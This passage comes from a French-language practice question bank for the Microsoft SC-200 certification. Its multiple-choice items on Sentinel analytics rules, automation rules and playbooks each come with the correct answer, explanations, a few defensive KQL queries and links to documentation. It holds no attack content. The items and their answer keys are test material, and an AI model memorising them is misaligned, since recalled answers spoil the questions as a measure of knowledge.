**C.** La remplacement dynamique des détails d'alerte (alert details override).

**D.** Le mappage des entités (Account, Host, IP...) vers les colonnes de résultat de la requête.

**Bonne réponse : D**

**Correction détaillée**

Le **mappage des entités** associe des colonnes de la requête à des types d'entités (Account, Host, IP, URL, File, Process...) via des **identificateurs** (par exemple Account → Name + UPNSuffix, ou FullName ; Host → HostName + DnsDomain). Les entités alimentent la corrélation en incidents, le graphe d'investigation, l'UEBA et les playbooks.

**Analyse des réponses incorrectes**

- **A.** Il change le nombre d'alertes, pas la présence d'entités.
- **B.** Ils affichent des champs supplémentaires dans l'alerte mais ne créent pas d'entités.
- **C.** Il personnalise le titre, la description, la gravité ou les tactiques, pas les entités.

**Explication technique**

Une règle peut mapper jusqu'à **10 entités**, chacune avec jusqu'à **3 identificateurs**. Privilégiez les **identificateurs forts** (par exemple Account avec AadUserId ou Sid, Host avec AzureID ou HostName+DnsDomain) pour une corrélation fiable. Les entités servent aussi aux règles d'automatisation (conditions sur entités).

> **Point à retenir pour l'examen :** Pas d'entités = pas de corrélation ni de pivot : mappez Account, Host, IP... avec des identificateurs forts (10 entités max par règle).

**Référence officielle**

- Mapper des champs de données à des entités dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/map-data-fields-to-entities

## Question n° 40 — Personnaliser le titre de l'alerte

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Toutes les alertes d'une règle s'intitulent « Accès suspect à un partage ». Les analystes veulent que le titre contienne le nom de l'ordinateur et du compte concernés, par exemple « Accès suspect à un partage par jdupont sur SRV-FIC01 ». Quelle fonctionnalité utiliser ?

**A.** Le remplacement des détails d'alerte (alert details override), avec un format de nom d'alerte contenant des paramètres tels que `{{SubjectUserName}}` et `{{Computer}}`.

**B.** Une règle d'automatisation qui renomme l'alerte.

**C.** Une watchlist contenant les titres souhaités.

**D.** Les détails personnalisés (custom details) uniquement.

**Bonne réponse : A**

**Correction détaillée**

Le **remplacement des détails d'alerte** permet de définir dynamiquement, à partir de colonnes des résultats, le **nom**, la **description**, la **gravité**, les **tactiques/techniques** ou le **fournisseur** de l'alerte. Les paramètres s'écrivent `{{NomDeColonne}}`.

**Analyse des réponses incorrectes**

- **B.** Les règles d'automatisation modifient l'incident (statut, gravité, propriétaire, balises, tâches), pas le nom de l'alerte générée.
- **C.** Une watchlist enrichit les requêtes ; elle ne contrôle pas le titre des alertes.
- **D.** Ils exposent des valeurs dans le corps de l'alerte mais ne modifient pas son titre.

**Explication technique**

Les **détails personnalisés** (jusqu'à 20 paires clé/valeur) affichent des données de l'événement (par exemple la ligne de commande) dans l'alerte et l'incident, et sont exploitables par l'automatisation. Combinés au mappage des entités, ils évitent aux analystes d'avoir à relancer la requête pour comprendre l'alerte.

**Point à retenir pour l'examen :** Titre/gravité/tactique dynamiques = alert details override (`{{Colonne}}`) ; données métier dans l'alerte = custom details.

**Référence officielle**

- Personnaliser les détails de l'alerte dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/customize-alert-details
- Faire apparaître des détails d'événements personnalisés dans les alertes de Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/surface-custom-details-in-alerts

## Question n° 41 — Regroupement des alertes en incidents

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une règle génère jusqu'à 60 alertes par jour pour le même serveur, ce qui crée 60 incidents. Vous voulez un seul incident par serveur et par 24 heures, et rouvrir l'incident s'il a été fermé par erreur. Quelle configuration de règle répond au besoin ?

**A.** Configurer la suppression de la règle pendant 24 heures.

**B.** Activer le regroupement d'alertes dans les paramètres d'incident, sur une période de 24 heures, en regroupant les alertes dont l'entité Host correspond, avec l'option de réouverture des incidents fermés correspondants.

**C.** Créer une règle d'automatisation qui ferme les incidents en double.

**D.** Désactiver la création d'incidents et traiter les alertes manuellement.

**Bonne réponse : B**

**Correction détaillée**

Dans l'onglet **Paramètres d'incident** d'une règle planifiée, le **regroupement d'alertes** permet de rattacher les alertes à un même incident selon : toutes les entités correspondantes, des **entités sélectionnées** (ici Host), ou tous les détails. On fixe la **période** (jusqu'à 7 jours) et l'option **« Rouvrir les incidents correspondants fermés »**.

**Analyse des réponses incorrectes**

- **A.** La suppression empêcherait la création de nouvelles alertes ; on perdrait la traçabilité des 59 autres détections.
- **C.** Solution réactive qui masque la cause, alors que la règle dispose d'une option native de regroupement.
- **D.** Les alertes ne seraient plus suivies comme incidents.

**Explication technique**

Un incident peut regrouper jusqu'à 150 alertes ; au-delà, un nouvel incident est créé. Dans le portail Defender, la corrélation XDR peut ensuite rattacher cet incident à d'autres alertes Defender. Bien choisir les entités évite les regroupements abusifs (par exemple, regrouper sur une IP de NAT partagée).

**Point à retenir pour l'examen :** Moins d'incidents sans perdre d'alertes = regroupement d'alertes (période ≤ 7 jours, entités choisies, réouverture optionnelle).

**Référence officielle**

- Associer des alertes à des incidents dans Microsoft Sentinel dans le Portail Azure — https://learn.microsoft.com/fr-fr/azure/sentinel/relate-alerts-to-incidents

## Question n° 42 — Suppression temporaire d'une règle

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une règle détecte une attaque par force brute et génère une alerte toutes les 5 minutes tant que l'attaque dure. L'équipe veut qu'après une alerte, la règle cesse de s'exécuter pendant 1 heure. Quel paramètre utiliser ?

**A.** La désactivation manuelle de la règle par l'analyste.

**B.** Le regroupement d'alertes en incidents sur 1 heure.

**C.** Un seuil d'alerte « supérieur à 12 ».

**D.** La suppression (« Arrêter l'exécution de la requête après la génération d'une alerte ») réglée sur 1 heure.

**Bonne réponse : D**

**Correction détaillée**

Le paramètre de **suppression** arrête l'exécution de la règle pendant une durée définie (jusqu'à 24 heures) après la génération d'une alerte, ce qui limite le bruit pendant une attaque en cours.

**Analyse des réponses incorrectes**

- **A.** Procédure manuelle et risquée (oubli de réactivation).
- **B.** Les alertes continueraient d'être générées ; seules les créations d'incidents seraient regroupées.
- **C.** Le seuil s'applique au nombre de résultats d'une exécution, pas à une pause entre exécutions.

**Explication technique**

Inconvénient : pendant la suppression, d'autres attaques correspondant à la même règle ne sont pas détectées. On préfère souvent le **regroupement d'alertes** (qui conserve toutes les alertes dans un incident) et la suppression pour les règles très bruyantes et redondantes.

**Point à retenir pour l'examen :** Suppression = pause de la règle après une alerte (≤ 24 h) ; à utiliser avec prudence car elle crée un angle mort.

**Référence officielle**

- Règles d'analyse planifiées dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/scheduled-rules-overview

## Question n° 43 — Règle désactivée automatiquement

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Dans la liste des règles d'analyse, une règle porte désormais le préfixe « AUTO DISABLED ». Quelle est l'explication la plus probable ?

**A.** Sentinel a désactivé la règle après des échecs permanents d'exécution (par exemple une table ou une fonction supprimée, ou une perte d'accès à un espace cible).

**B.** La règle a généré plus de 150 alertes en une exécution.

**C.** La règle n'a produit aucune alerte depuis 30 jours.

**D.** Un analyste Responder a fermé tous ses incidents comme faux positifs.

**Bonne réponse : A**

**Correction détaillée**

Lorsqu'une règle planifiée échoue de façon **permanente** (erreur non transitoire répétée : table inexistante, fonction supprimée, autorisations perdues sur un espace interrogé…), Sentinel la **désactive automatiquement** et ajoute le préfixe **AUTO DISABLED** à son nom, avec la raison dans la description.

**Analyse des réponses incorrectes**

- **B.** Ce cas entraîne la création d'une alerte de synthèse, pas la désactivation de la règle.
- **C.** Une règle silencieuse n'est pas désactivée automatiquement.
- **D.** La classification des incidents n'a pas d'effet sur l'état de la règle.

**Explication technique**

Il faut corriger la cause puis réactiver la règle. L'**audit et la surveillance de l'intégrité** de Sentinel (table SentinelHealth) permettent de suivre les exécutions des règles d'analyse et des automatisations, et d'alerter sur les échecs.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SentinelHealth
| where TimeGenerated > ago(7d)
| where SentinelResourceType == "Analytics Rule"
| where Status != "Success"
| summarize Echecs = count(), Dernier = max(TimeGenerated) by SentinelResourceName, Status,
Description
```

**Point à retenir pour l'examen :** « AUTO DISABLED » = échecs permanents ; corriger la cause, réactiver, et surveiller via SentinelHealth.

**Référence officielle**

- Détection des menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/threat-detection
- Activer l'audit et la surveillance de l'intégrité pour Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/enable-monitoring

## Question n° 44 — Détection multi-étapes Fusion

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Quelle affirmation décrit correctement la détection Fusion (Advanced Multistage Attack Detection) de Microsoft Sentinel ?

**A.** Elle ne fonctionne qu'avec des journaux Syslog.

**B.** Elle génère une alerte pour chaque échec de connexion.

**C.** Elle s'appuie sur l'apprentissage automatique pour corréler des alertes et anomalies de faible fidélité provenant de plusieurs produits en incidents multi-étapes de haute fidélité ; elle est activée par défaut.

**D.** C'est une règle planifiée dont l'analyste rédige la requête KQL de corrélation.

**Bonne réponse : C**

**Correction détaillée**

**Fusion** est un moteur de corrélation fondé sur le **machine learning** qui identifie des combinaisons d'activités anormales et suspectes à différentes étapes de la chaîne d'attaque. Il produit peu d'incidents, mais de haute fidélité, et la règle est **activée par défaut**.

### Analyse des réponses incorrectes

- **A.** Fusion utilise de nombreuses sources : Entra ID Protection, Defender for Cloud Apps, Defender for Endpoint, anomalies, règles planifiées configurées, etc.
- **B.** Fusion vise précisément à réduire le bruit en ne remontant que des scénarios corrélés.
- **D.** La logique de Fusion est gérée par Microsoft ; on ne peut pas écrire sa requête.

### Explication technique

Fusion couvre des scénarios tels que les activités de rançongiciel, la compromission de compte suivie d'exfiltration, ou des scénarios émergents. Il est possible de configurer les sources (fournisseurs et gravités) prises en compte et d'inclure les alertes des règles planifiées. Dans le portail Defender, la corrélation multi-produits est aussi assurée par le moteur XDR.

**Point à retenir pour l'examen :** Fusion = ML multi-étapes, activé par défaut, logique non modifiable, peu d'incidents mais très fiables.

### Référence officielle

- Détection avancée d'attaques à plusieurs niveaux dans Azure Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/fusion

## Question n° 45 — Correspondance avec le renseignement sur les menaces

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous voulez que Sentinel génère automatiquement des alertes lorsque des journaux CEF, DNS ou Syslog contiennent des indicateurs de compromission connus de Microsoft, sans écrire de requête. Quelle règle activer ?

**A.** Une règle d'anomalie UEBA.

**B.** La règle d'analyse « Microsoft Threat Intelligence Analytics » (correspondance avec le renseignement Microsoft).

**C.** La règle Fusion.

**D.** Une règle NRT basée sur la table Heartbeat.

**Bonne réponse : B**

### Correction détaillée

La règle **Microsoft Threat Intelligence Analytics** compare les journaux de l'espace (CommonSecurityLog, DNS, Syslog, etc.) aux **indicateurs gérés par Microsoft** et génère des alertes à haute fidélité lorsqu'une correspondance est trouvée.

### Analyse des réponses incorrectes

- **A.** Les anomalies comportementales ne s'appuient pas sur des listes d'IoC.
- **C.** Fusion corrèle des alertes multi-étapes ; elle ne fait pas de correspondance d'indicateurs dans les journaux.
- **D.** Heartbeat ne contient pas de données d'IoC.

### Explication technique

Pour vos propres indicateurs (TAXII, API d'upload, saisie manuelle), utilisez les modèles de règles « TI map ... to ... » (correspondance d'IP, de domaines, d'URL ou de hachages avec différentes tables). Les correspondances doivent tenir compte de la validité (`ValidUntil`) et de l'état actif (`IsActive`) des indicateurs.

**Point à retenir pour l'examen :** IoC Microsoft dans les journaux sans requête = règle « Microsoft Threat Intelligence Analytics » ; vos IoC = modèles « TI map ».

**Référence officielle**

- Utiliser l'analytique correspondante dans Microsoft Sentinel pour détecter les menaces — https://learn.microsoft.com/fr-fr/azure/sentinel/use-matching-analytics-to-detect-threats

## Question n° 46 — Règles d'anomalie

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une règle d'anomalie intégrée produit trop de résultats. Vous voulez tester des seuils plus stricts sans perdre la version de production. Quelle démarche est correcte ?

**A.** Dupliquer la règle d'anomalie, ajuster ses paramètres dans la copie exécutée en mode « Flighting » (test), comparer les résultats dans la table Anomalies, puis basculer la copie en production.

**B.** Supprimer la règle et la recréer à partir de Fusion.

**C.** Activer la création d'incidents pour comparer les résultats.

**D.** Modifier la requête KQL de la règle d'anomalie comme celle d'une règle planifiée.

**Bonne réponse : A**

**Correction détaillée**

Les **règles d'anomalie** (SOC-ML) sont des modèles de machine learning prédéfinis dont certains **paramètres** (seuils, exclusions) sont réglables. On **duplique** la règle, on règle la copie en **Flighting** pour la tester en parallèle de la production, puis on compare les sorties dans la table **Anomalies** avant de la promouvoir en production.

**Analyse des réponses incorrectes**

- **B.** Fusion n'est pas une source de règles d'anomalie.
- **C.** Les anomalies ne créent pas d'alertes ni d'incidents ; elles alimentent la table Anomalies.
- **D.** La logique ML des anomalies n'est pas éditable comme une requête ; seuls certains paramètres sont réglables.

**Explication technique**

Les anomalies n'entraînent pas d'alertes : elles servent de signaux à la chasse, à l'UEBA et à Fusion. Le référentiel SC-200 cite « Configurer des anomalies dans Microsoft Sentinel ».

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```kql
Anomalies
| where TimeGenerated > ago(7d)
| summarize Nombre = count() by RuleName, RuleStatus
| order by Nombre desc
```

**Point à retenir pour l'examen :** Anomalies = ML paramétrable (Production / Flighting), résultats dans la table Anomalies, pas d'alertes.

**Référence officielle**

- Utiliser des anomalies personnalisables pour détecter les menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/soc-ml-anomalies
- Anomalies — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/anomalies

## Question n° 47 — Mesurer la couverture MITRE ATT&CK

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** La direction demande quelles techniques MITRE ATT&CK sont couvertes par les règles actives et lesquelles pourraient l'être avec des modèles disponibles. Où trouver cette vue dans Sentinel ?

A. Dans la page Watchlists.

B. Uniquement dans un tableur exporté manuellement.

C. Dans le Secure Score Microsoft.

D. Dans la page MITRE ATT&CK de Microsoft Sentinel, qui affiche la couverture des règles actives et simulée à partir des modèles et requêtes disponibles.

**Bonne réponse : D**

**Correction détaillée**

La page **MITRE ATT&CK** affiche la matrice des tactiques et techniques avec le nombre de règles actives (planifiées, NRT), de requêtes de chasse et de détections couvrant chaque technique. Le mode **simulé** montre la couverture possible avec les modèles disponibles.

**Analyse des réponses incorrectes**

- **A.** Les watchlists stockent des listes de référence, pas une cartographie ATT&CK.
- **B.** Sentinel fournit nativement une matrice de couverture.
- **C.** Le Secure Score mesure la posture de configuration, pas la couverture de détection ATT&CK.

**Explication technique**

Les règles indiquent leurs tactiques et techniques dans leurs paramètres ; les incidents et alertes les affichent. Cette vue alimente les recommandations d'optimisation SOC « couverture basée sur les menaces ».

**Point à retenir pour l'examen :** Couverture ATT&CK = page MITRE ATT&CK de Sentinel (active + simulée).

**Référence officielle**

- Afficher la couverture de l'infrastructure MITRE ATT&CK dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/mitre-coverage

## Question n° 48 — Créer une règle à partir d'un modèle du hub de contenu

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous voulez déployer des détections prêtes à l'emploi pour Microsoft Entra ID. Quelle démarche est correcte ?

A. Demander l'activation au support Microsoft.

B. Copier les requêtes depuis GitHub dans une règle NRT obligatoirement.

C. Installer la solution correspondante depuis le hub de contenu, puis créer des règles d'analyse actives à partir des modèles de règles fournis, en les ajustant si nécessaire.

D. Les modèles sont actifs dès l'installation de la solution, sans action supplémentaire.

**Bonne réponse : C**

**Correction détaillée**

Le **hub de contenu** regroupe des **solutions** (connecteurs, règles, classeurs, requêtes de chasse, playbooks, analyseurs) et du contenu autonome. Après installation, on **crée une règle à partir d'un modèle** ; Sentinel signale ensuite lorsqu'une nouvelle version du modèle est disponible.

**Analyse des réponses incorrectes**

- **A.** L'installation de solutions est une opération en libre-service (rôle Microsoft Sentinel Contributor).
- **B.** Le hub de contenu est la méthode intégrée ; le type de règle dépend du modèle.

- **D.** Installer une solution ajoute des modèles ; une règle active doit être créée à partir du modèle (sauf exceptions activées par défaut).

**Explication technique**

Le rôle **Microsoft Sentinel Contributor** permet d'installer ou de mettre à jour des solutions. Pour un pilotage « détection-as-code », les **référentiels** (CI/CD avec GitHub ou Azure DevOps) déploient règles, classeurs et playbooks depuis un dépôt.

**Point à retenir pour l'examen :** Hub de contenu = solutions → modèles → règles actives à créer (et à mettre à jour lorsque le modèle évolue).

**Référence officielle**

- Découvrir et gérer le contenu prêt à l'emploi de Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/sentinel-solutions-deploy
- Créer une règle d'analyse planifiée à partir de zéro — https://learn.microsoft.com/fr-fr/azure/sentinel/create-analytics-rules

### Question n° 49 — Seuil d'alerte d'une règle planifiée

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une règle planifiée renvoie une ligne par adresse IP ayant scanné des ports. Vous ne voulez déclencher une alerte que si au moins 5 adresses IP différentes apparaissent dans les résultats d'une même exécution. Quel paramètre utiliser ?

**A.** Le regroupement d'alertes sur 5 entités.

**B.** Le seuil d'alerte : générer une alerte lorsque le nombre de résultats de la requête est supérieur à 4.

**C.** La suppression de la règle pendant 5 heures.

**D.** Une gravité « Élevée ».

**Bonne réponse : B**

**Correction détaillée**

Le **seuil d'alerte** compare le **nombre de lignes de résultats** à une valeur (supérieur, inférieur, égal, différent). Avec « supérieur à 4 », l'alerte n'est déclenchée que si au moins 5 lignes sont renvoyées.

**Analyse des réponses incorrectes**

- **A.** Ce paramètre agit sur la création d'incidents, pas sur le déclenchement de l'alerte.
- **C.** La suppression arrête temporairement la règle après une alerte, elle ne fixe pas de seuil de résultats.
- **D.** La gravité qualifie l'alerte, elle ne conditionne pas son déclenchement.

**Explication technique**

Une alternative consiste à intégrer la logique dans la requête (`summarize dcount(SourceIP)` puis `where`), ce qui rend la règle plus explicite et testable. Le seuil s'applique avant le regroupement des événements.

**Point à retenir pour l'examen :** Seuil d'alerte = condition sur le nombre de résultats d'une exécution.

**Référence officielle**

- Règles d'analyse planifiées dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/scheduled-rules-overview

## 1.6 Automatisation : règles d'automatisation et playbooks

### Question n° 50 — Déclencheurs des règles d'automatisation

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Quels événements peuvent déclencher une règle d'automatisation Microsoft Sentinel ?

**A.** L'ingestion de chaque nouvelle ligne dans une table.

**B.** La modification d'une règle d'analyse.

**C.** Uniquement la création d'un incident.

**D.** La création d'un incident, la mise à jour d'un incident et la création d'une alerte.

**Bonne réponse : D**

**Correction détaillée**

Les **règles d'automatisation** se déclenchent **lors de la création d'un incident**, **lors de la mise à jour d'un incident** (changement de statut, de gravité, de propriétaire, ajout d'alertes, de commentaires, de balises...) et **lors de la création d'une alerte**.

**Analyse des réponses incorrectes**

- **A.** Les règles d'automatisation réagissent aux incidents et alertes, pas à l'ingestion de données.
- **B.** Ce n'est pas un déclencheur d'automatisation ; l'audit des modifications passe par SentinelAudit.
- **C.** Les mises à jour d'incidents et la création d'alertes sont aussi des déclencheurs.

**Explication technique**

Actions disponibles : changer le statut, la gravité, le propriétaire, ajouter des balises, ajouter une tâche, exécuter un playbook (déclencheur incident ou alerte). Les règles sont exécutées selon leur **ordre** et peuvent avoir une **date d'expiration** (utile pour une suppression temporaire). Les conditions portent sur les propriétés de l'incident, les entités, les règles d'analyse sources, les détails personnalisés, etc.

**Point à retenir pour l'examen :** Déclencheurs : incident créé, incident mis à jour, alerte créée. Les règles s'exécutent par ordre et peuvent expirer.

**Référence officielle**

- Automatiser la réponse aux menaces dans Microsoft Sentinel avec des règles d'automatisation — https://learn.microsoft.com/fr-fr/azure/sentinel/automate-incident-handling-with-automation-rules

## Question n° 51 — Fermer automatiquement des faux positifs connus

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Pendant deux semaines, un scanner de vulnérabilités autorisé (10.10.5.20) déclenchera la règle « Balayage de ports interne ». Vous voulez fermer automatiquement les incidents correspondants comme « Benign Positive », sans modifier la règle d'analyse, et que ce comportement cesse de lui-même ensuite. Quelle solution choisir ?

**A.** Créer un playbook planifié qui ferme chaque soir tous les incidents ouverts.

**B.** Désactiver la règle d'analyse pendant deux semaines.

**C.** Une règle d'automatisation déclenchée à la création d'un incident, conditionnée à la règle d'analyse concernée et à l'entité IP 10.10.5.20, qui ferme l'incident avec la classification adéquate, et dotée d'une date d'expiration.

**D.** Supprimer les journaux du scanner par une transformation d'ingestion.

**Bonne réponse : C**

**Correction détaillée**

Les règles d'automatisation permettent une **suppression ciblée** : conditions sur la règle d'analyse et sur l'entité (IP), action « Changer le statut » → *Fermé* avec la classification **Benign Positive – Suspicious but expected**, et **date d'expiration** pour que l'exception disparaisse automatiquement.

**Analyse des réponses incorrectes**

- **A.** Fermerait aussi de vrais incidents : solution dangereuse.
- **B.** Toutes les autres détections de balayage seraient perdues.
- **D.** Les journaux seraient définitivement perdus pour d'autres usages et l'exception ne serait pas temporaire.

**Explication technique**

Préférez une condition précise (règle + entité) à une exclusion globale. Documentez l'exception (balise, commentaire). Pour une exclusion permanente, une **watchlist** d'actifs autorisés utilisée directement dans la requête de la règle est plus maintenable. Dans le portail Defender, l'**ajustement des alertes** (alert tuning) offre aussi des règles pour masquer/résoudre des alertes correspondant à des conditions.

**Point à retenir pour l'examen :** Exception temporaire et ciblée = règle d'automatisation (conditions précises + fermeture + expiration).

**Référence officielle**

- Créer et utiliser des règles d'automatisation Microsoft Sentinel pour gérer la réponse — https://learn.microsoft.com/fr-fr/azure/sentinel/create-manage-use-automation-rules

## Question n° 52 — Ordre d'exécution des règles d'automatisation

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Deux règles d'automatisation se déclenchent à la création d'incidents de gravité élevée : la règle d'ordre 1 attribue l'incident à l'équipe N2 et ajoute la balise « VIP » ; la règle d'ordre 2 lance un playbook qui notifie le propriétaire de l'incident. Dans quel ordre les actions sont-elles réalisées ?

**A.** Les playbooks s'exécutent toujours avant toutes les autres actions.

**B.** La règle d'ordre 1 est évaluée et exécutée avant la règle d'ordre 2 ; le playbook lancé par la règle 2 voit donc l'incident déjà attribué et balisé.

**C.** Les deux règles s'exécutent en parallèle de façon aléatoire.

**D.** Seule la première règle correspondante s'exécute.

**Bonne réponse : B**

**Correction détaillée**

Les règles d'automatisation sont **exécutées séquentiellement selon leur numéro d'ordre** ; au sein d'une règle, les actions s'exécutent dans l'ordre de la liste. Une règle de rang supérieur peut donc préparer l'incident (propriétaire, balises, gravité) pour les suivantes.

**Analyse des réponses incorrectes**

- **A.** L'ordre défini prime ; les actions d'une règle s'exécutent dans l'ordre où elles sont listées.
- **C.** Les règles d'automatisation suivent leur ordre défini.
- **D.** Toutes les règles dont les conditions correspondent s'exécutent, dans l'ordre.

**Explication technique**

Attention aux interactions : une règle déclenchée « à la mise à jour » peut être activée par une modification faite par une autre règle. Les conditions sur la mise à jour (par exemple « Statut modifié en ») limitent les boucles. Les playbooks déclenchés sont exécutés de manière asynchrone par Logic Apps.

**Point à retenir pour l'examen :** Ordre des règles = ordre d'exécution ; une règle de rang inférieur prépare l'incident pour les suivantes.

**Référence officielle**

- Automatiser la réponse aux menaces dans Microsoft Sentinel avec des règles d'automatisation — https://learn.microsoft.com/fr-fr/azure/sentinel/automate-incident-handling-with-automation-rules

## Question n° 53 — Déclencheur de playbook recommandé

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous créez un playbook qui doit lire toutes les entités et alertes d'un incident, puis publier un résumé dans Microsoft Teams, et être lancé par une règle d'automatisation à la création d'incidents. Quel déclencheur Logic Apps utiliser ?

**A.** Le déclencheur Microsoft Sentinel « Microsoft Sentinel incident ».

**B.** Le déclencheur Microsoft Sentinel « entity ».

**C.** Le déclencheur « Recurrence » (planifié).

**D.** Le déclencheur « When a HTTP request is received ».

**Bonne réponse : A**

### Correction détaillée

Le déclencheur **Microsoft Sentinel incident** transmet l'objet incident complet (propriétés, alertes, entités) et peut être appelé par les règles d'automatisation ou manuellement depuis un incident. C'est le déclencheur recommandé dans la plupart des cas.

### Analyse des réponses incorrectes

- **B.** Le déclencheur d'entité est prévu pour un lancement manuel sur une entité, pas pour un traitement automatique de tout l'incident.
- **C.** Un déclencheur planifié n'est pas lié à un incident et ne peut pas être lancé par une règle d'automatisation.
- **D.** Les règles d'automatisation exigent un déclencheur Microsoft Sentinel.

### Explication technique

Le déclencheur **alerte** sert aux alertes ne créant pas d'incident (ou pour des actions par alerte) ; le déclencheur **entité** permet à un analyste de lancer une action sur une entité précise (bloquer une IP, isoler un hôte) depuis l'investigation ou la chasse. Les playbooks s'authentifient auprès des connecteurs via identité managée (recommandé), principal de service ou compte utilisateur.

**Point à retenir pour l'examen :** Playbook automatique sur incident = déclencheur « Microsoft Sentinel incident ».

### Référence officielle

- Déclencheurs et actions pris en charge dans les playbooks Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/playbook-triggers-actions
- Automatiser la réponse aux menaces avec des playbooks dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/automate-responses-with-playbooks

## Question n° 54 — Identité managée pour un playbook

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un playbook doit désactiver un utilisateur dans Microsoft Entra ID via Microsoft Graph. Quelle méthode d'authentification est recommandée pour l'action Graph du playbook ?

**A.** Utiliser une connexion anonyme.

**B.** Utiliser le compte personnel de l'analyste qui a créé le playbook.

**C.** Activer l'identité managée de la Logic App et lui accorder uniquement l'autorisation Graph nécessaire (par exemple User.EnableDisableAccount.All ou un rôle Entra adapté).

**D.** Enregistrer dans le playbook le mot de passe d'un compte Administrateur général.

**Bonne réponse : C**

**Correction détaillée**

L'**identité managée** évite de gérer des secrets : Azure fournit et fait tourner automatiquement les informations d'identification. On lui accorde le **moindre privilège** nécessaire (permission d'application Graph ou rôle Entra restreint).

**Analyse des réponses incorrectes**

- **A.** Microsoft Graph exige une authentification.
- **B.** La connexion cesserait de fonctionner au départ de l'analyste et les actions lui seraient attribuées.
- **D.** Pratique dangereuse : secret exposé, privilèges excessifs, rotation difficile.

**Explication technique**

L'identité managée peut aussi recevoir le rôle **Microsoft Sentinel Responder** sur l'espace pour mettre à jour l'incident (commentaires, statut). Les playbooks Logic Apps Standard et Consumption prennent en charge l'identité managée ; Sentinel prend en charge les deux plans pour certaines fonctionnalités, avec des différences documentées.

**Point à retenir pour l'examen :** Playbooks : identité managée + moindre privilège ; jamais de compte nominatif ou de mot de passe en clair.

**Référence officielle**

- Créer et gérer les playbooks Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/create-playbooks
- Qu'est-ce qu'Azure Logic Apps ? — https://learn.microsoft.com/fr-fr/azure/logic-apps/logic-apps-overview

## Question n° 55 — Tâches d'incident

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Le SOC veut que chaque incident de type « Hameçonnage » affiche automatiquement une liste de contrôle d'investigation (vérifier les destinataires, rechercher les clics, purger les messages, réinitialiser les mots de passe). Quelle fonctionnalité utiliser ?

**A.** Une watchlist de procédures.

**B.** Les détails personnalisés de la règle d'analyse.

**C.** Un classeur affiché dans chaque incident.

**D.** Une règle d'automatisation avec l'action « Ajouter une tâche », conditionnée aux incidents d'hameçonnage.

**Bonne réponse : D**

**Correction détaillée**

Les **tâches d'incident** standardisent la réponse : elles apparaissent dans l'incident, peuvent être cochées, et sont ajoutées automatiquement par une **règle d'automatisation** (action « Ajouter une tâche ») ou par un playbook, ou manuellement.

**Analyse des réponses incorrectes**

- **A.** Une watchlist ne s'affiche pas comme liste de tâches dans l'incident.
- **B.** Ils affichent des valeurs d'événements, pas des étapes de procédure.
